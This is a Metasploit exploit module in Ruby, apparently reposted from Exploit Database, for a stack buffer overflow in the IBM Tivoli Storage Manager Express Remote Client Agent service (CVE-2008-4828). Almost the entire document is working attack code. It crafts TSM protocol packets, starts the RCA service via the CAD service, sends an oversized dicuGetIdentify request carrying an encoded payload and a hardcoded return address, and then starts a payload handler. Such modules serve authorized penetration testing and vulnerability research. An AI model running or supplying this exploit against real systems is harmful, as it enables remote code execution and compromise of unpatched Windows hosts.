IBM Tivoli Storage Manager Express RCA Service – Remote Buffer Overflow (Metasploit)

• Exploit Database
• 10 阅读

• 作者： Metasploit
  日期： 2010-05-09
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16428/

• ##
  # $Id: ibm_tsm_rca_dicugetidentify.rb 9262 2010-05-09 17:45:00Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GreatRanking
  
  	include Msf::Exploit::Remote::Tcp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'IBM Tivoli Storage Manager Express RCA Service Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a stack buffer overflow in the IBM Tivoli Storage Manager Express Remote
  				Client Agent service. By sending a "dicuGetIdentify" request packet containing a long
  				NodeName parameter, an attacker can execute arbitrary code.
  
  				NOTE: this exploit first connects to the CAD service to start the RCA service and obtain
  				the port number on which it runs. This service does not restart.
  			},
  			'Author' => [ 'jduck' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 9262 $',
  			'References' =>
  				[
  					[ 'CVE', '2008-4828' ],
  					[ 'OSVDB', '54232' ],
  					[ 'BID', '34803' ]
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'seh',
  				},
  			'Privileged' => true,
  			'Payload'=>
  				{
  					# wchar_t buf[1024];
  					'Space'=> ((1024*2)+4),
  					'BadChars' => '\x00',
  					'StackAdjustment' => -3500,
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					# this target should be pretty universal..
  					# dbghelp.dll is shipped with TSM Express, and hasn't been kept up-to-date..
  					[ 'IBM Tivoli Storage Manager Express 5.3.6.2', { 'Ret' => 0x028495d3 } ], # p/p/r dbghelp.dll v6.0.17.0
  				],
  			'DefaultTarget'=> 0,
  			'DisclosureDate' => 'Nov 04 2009'))
  
  		register_options( [ Opt::RPORT(1582) ], self.class )
  	end
  
  
  	def make_tsm_packet(op,data)
  		pkt = ""
  		if op > 0xff
  			pkt << [0,8,0xa5,op,0xc+data.length].pack('nCCNN')
  		else
  			pkt << [data.length,op,0xa5].pack('nCC')
  		end
  		pkt << data
  	end
  
  
  	def explode_tsm_packet(buf)
  		return nil if buf.length < 4
  		len,op,magic = buf[0,4].unpack('nCC')
  		return nil if magic != 0xa5
  		if op == 0x08
  			return nil if buf.length < 12
  			op,len = buf[4,8].unpack('NN')
  			data = buf[12,len]
  		else
  			data = buf[4,len]
  		end
  
  		return op,data
  	end
  
  
  	def extract_port(buf)
  		op,data = explode_tsm_packet(buf)
  		if op != 0x10300
  			print_error("Invalid response verb from CAD service: 0x%x" % op)
  			return nil
  		end
  		if data.length < 6
  			print_error("Insufficient data from CAD service.")
  			return nil
  		end
  		port_str_len = data[4,2].unpack('n')[0]
  		if data.length < (24+port_str_len)
  			print_error("Insufficient data from CAD service.")
  			return nil
  		end
  		rca_port = data[24,port_str_len].unpack('n*').pack('C*').to_i
  	end
  
  
  	def exploit
  
  		print_status("Trying target %s..." % target.name)
  
  		# first get the port number
  		query = [1].pack('n')
  		query << "\x00" * 10
  		data = make_tsm_packet(0x10200, query)
  
  		connect
  		print_status("Attempting to start the RCA service via the CAD service...")
  		sock.put(data)
  		buf = sock.get_once(-1, 10)
  		disconnect
  
  		rca_port = extract_port(buf)
  		if not rca_port or rca_port == 0
  			print_error("The RCA agent service was not started :(")
  		else
  			print_status("RCA Agent is now running on port %u" % rca_port)
  		end
  
  
  		# trigger the vulnerability
  		copy_len = payload_space + 4
  		sploit = rand_text(33)
  		# start offset, length
  		sploit[10,4] = [0,copy_len].pack('n*')
  		# data to copy
  		buf = payload.encoded
  		# we need this special encoding to make it work..
  		buf << [target.ret].pack('V').unpack('v*').pack('n*')
  		# adjustment :)
  		sploit << buf
  		data = make_tsm_packet(0x10400, sploit)
  
  		connect(true, { 'RPORT' => rca_port })
  		print_status("Sending specially crafted dicuGetIdentifyRequest packet...")
  		sock.write(data)
  
  		print_status("Starting handler...")
  		handler
  		disconnect
  	end
  
  end